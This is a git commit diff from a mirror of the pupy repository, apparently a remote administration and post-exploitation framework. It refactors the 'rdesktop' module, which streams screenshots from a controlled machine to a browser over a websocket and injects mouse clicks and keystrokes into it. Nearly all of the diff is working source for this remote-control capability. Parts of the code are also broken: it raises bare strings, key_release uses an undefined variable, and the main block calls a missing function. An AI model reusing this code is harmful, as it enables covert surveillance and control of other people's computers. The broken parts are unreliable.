mirror of https://github.com/n1nj4sec/pupy.git
Remove pillow from deps
This commit is contained in:
parent
48179298d2
commit
f0b1827f8f
|
@ -1,4 +1,4 @@
|
|||
# -*- coding: UTF8 -*-
|
||||
# -*- coding: utf-8 -*-
|
||||
# Copyright (c) 2017, Nicolas VERDIER (contact@n1nj4.eu)
|
||||
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms
|
||||
|
||||
|
@ -8,7 +8,6 @@ import subprocess
|
|||
import time
|
||||
import threading
|
||||
import json
|
||||
import pyautogui
|
||||
|
||||
__class_name__="RemoteDesktopModule"
|
||||
|
||||
|
@ -99,7 +98,6 @@ class RdesktopWebSocketHandler(WebSocketHandler):
|
|||
if self.stop_events_thread:
|
||||
self.stop_events_thread.set()
|
||||
|
||||
|
||||
class IndexHandler(RequestHandler):
|
||||
def initialize(self, client):
|
||||
self.client = client
|
||||
|
@ -112,25 +110,40 @@ class IndexHandler(RequestHandler):
|
|||
class RemoteDesktopModule(PupyModule):
|
||||
""" Start a remote desktop session using a browser websocket client """
|
||||
|
||||
dependencies = ['mss', 'rdesktop', 'keyboard', 'PIL']
|
||||
dependencies = ['mss', 'rdesktop', 'keyboard', 'png']
|
||||
|
||||
def init_argparse(self):
|
||||
self.arg_parser = PupyArgumentParser(prog="rdesktop", description=self.__doc__)
|
||||
self.arg_parser.add_argument('-v', '--view', action='store_true', help='directly open a browser tab on the handler url')
|
||||
self.arg_parser.add_argument('-r', '--refresh-interval', default=0.02, type=float, help='refresh interval. Set to 0 for best reactivity')
|
||||
self.arg_parser.add_argument('-q', '--quality', default=75, type=int, help='image quality best_quality=95 worst_quality=20')
|
||||
#self.arg_parser.add_argument('text', help='text to print in the msgbox :)')
|
||||
self.arg_parser.add_argument(
|
||||
'-v', '--view', action='store_true',
|
||||
help='directly open a browser tab on the handler url')
|
||||
|
||||
self.arg_parser.add_argument(
|
||||
'-r', '--refresh-interval',
|
||||
default=0.02, type=float,
|
||||
help='refresh interval. Set to 0 for best reactivity')
|
||||
|
||||
self.arg_parser.add_argument(
|
||||
'-q', '--quality', default=75, type=int,
|
||||
help='image quality best_quality=95 worst_quality=20')
|
||||
|
||||
def run(self, args):
|
||||
self.web_handlers=[
|
||||
(r'/?', IndexHandler, {'client': self.client}),
|
||||
(r'/ws', RdesktopWebSocketHandler, {'client': self.client, 'refresh_interval': args.refresh_interval, 'quality':args.quality, 'module': self}),
|
||||
(r'/?', IndexHandler, {
|
||||
'client': self.client
|
||||
}),
|
||||
(r'/ws', RdesktopWebSocketHandler, {
|
||||
'client': self.client,
|
||||
'refresh_interval': args.refresh_interval,
|
||||
'quality':args.quality,
|
||||
'module': self
|
||||
}),
|
||||
]
|
||||
url=self.start_webplugin()
|
||||
|
||||
url = self.start_webplugin()
|
||||
|
||||
self.success("Web handler started on %s"%url)
|
||||
if args.view:
|
||||
config = self.client.pupsrv.config or PupyConfig()
|
||||
viewer = config.get('default_viewers', 'browser')
|
||||
subprocess.Popen([viewer, url])
|
||||
|
||||
|
|
|
@ -1,12 +1,17 @@
|
|||
#!/usr/bin/env python
|
||||
# -*- coding: UTF8 -*-
|
||||
# -*- coding: utf-8 -*-
|
||||
import mss
|
||||
from PIL import Image
|
||||
from io import BytesIO
|
||||
import threading
|
||||
import time
|
||||
import keyboard
|
||||
from keyboard import mouse
|
||||
|
||||
from png import bmp_to_png
|
||||
|
||||
try:
|
||||
import keyboard
|
||||
from keyboard import mouse
|
||||
remote_control = True
|
||||
except:
|
||||
remote_control = False
|
||||
|
||||
def get_screen_size():
|
||||
screenshoter = mss.mss()
|
||||
|
@ -17,63 +22,69 @@ def get_screen_size():
|
|||
width=monitor['width']
|
||||
return width, height
|
||||
|
||||
|
||||
|
||||
class VideoStreamer(threading.Thread):
|
||||
def __init__(self, callback, refresh_interval=0.1, quality=75):
|
||||
threading.Thread.__init__(self)
|
||||
self.stopped=threading.Event()
|
||||
self.refresh_interval=refresh_interval
|
||||
self.quality=quality
|
||||
self.callback=callback
|
||||
self.daemon=True
|
||||
self.stopped = threading.Event()
|
||||
self.refresh_interval = refresh_interval
|
||||
self.quality = quality
|
||||
self.callback = callback
|
||||
self.daemon = True
|
||||
|
||||
def run(self):
|
||||
screenshoter = mss.mss()
|
||||
monitors = screenshoter.enum_display_monitors()
|
||||
del monitors[0]
|
||||
monitor=monitors[0]
|
||||
height=monitor['height']
|
||||
width=monitor['width']
|
||||
monitor = monitors[0]
|
||||
height = monitor['height']
|
||||
width = monitor['width']
|
||||
|
||||
while not self.stopped.is_set():
|
||||
try:
|
||||
pixels=screenshoter.get_pixels(monitor)
|
||||
img= Image.frombytes('RGB', (width, height), pixels)
|
||||
bio=BytesIO()
|
||||
img.save(bio, format="jpeg", quality=self.quality)
|
||||
self.callback(bio.getvalue())
|
||||
pixels = screenshoter.get_pixels(monitor)
|
||||
self.callback(bmp_to_png(pixels, width, height))
|
||||
time.sleep(self.refresh_interval)
|
||||
except:
|
||||
break
|
||||
|
||||
def move(self, x, y):
|
||||
if not remote_control:
|
||||
raise "Remote control is not available"
|
||||
|
||||
mouse.move(x, y)
|
||||
|
||||
def click(self, x=None, y=None):
|
||||
if not remote_control:
|
||||
raise "Remote control is not available"
|
||||
|
||||
if x is not None and y is not None:
|
||||
self.move(x, y)
|
||||
|
||||
mouse.click()
|
||||
|
||||
def kbd_send(self, *args, **kwargs):
|
||||
if not remote_control:
|
||||
raise "Remote control is not available"
|
||||
|
||||
keyboard.send(*args, **kwargs)
|
||||
|
||||
def kbd_write(self, *args, **kwargs):
|
||||
if not remote_control:
|
||||
raise "Remote control is not available"
|
||||
|
||||
keyboard.write(*args, **kwargs)
|
||||
|
||||
def key_press(self, c):
|
||||
if not remote_control:
|
||||
raise "Remote control is not available"
|
||||
|
||||
keyboard.press(c)
|
||||
|
||||
def key_release(self, key):
|
||||
keyboard.release(c)
|
||||
if not remote_control:
|
||||
raise "Remote control is not available"
|
||||
|
||||
keyboard.release(c)
|
||||
|
||||
def stop(self):
|
||||
self.stopped.set()
|
||||
|
||||
|
||||
if __name__=="__main__":
|
||||
#vs=VideoStreamer(cb)
|
||||
#vs.start()
|
||||
d=get_screen_jpg()
|
||||
with open("test.jpg", 'wb') as f:
|
||||
f.write(d)
|
||||
|
|
Loading…
Reference in New Issue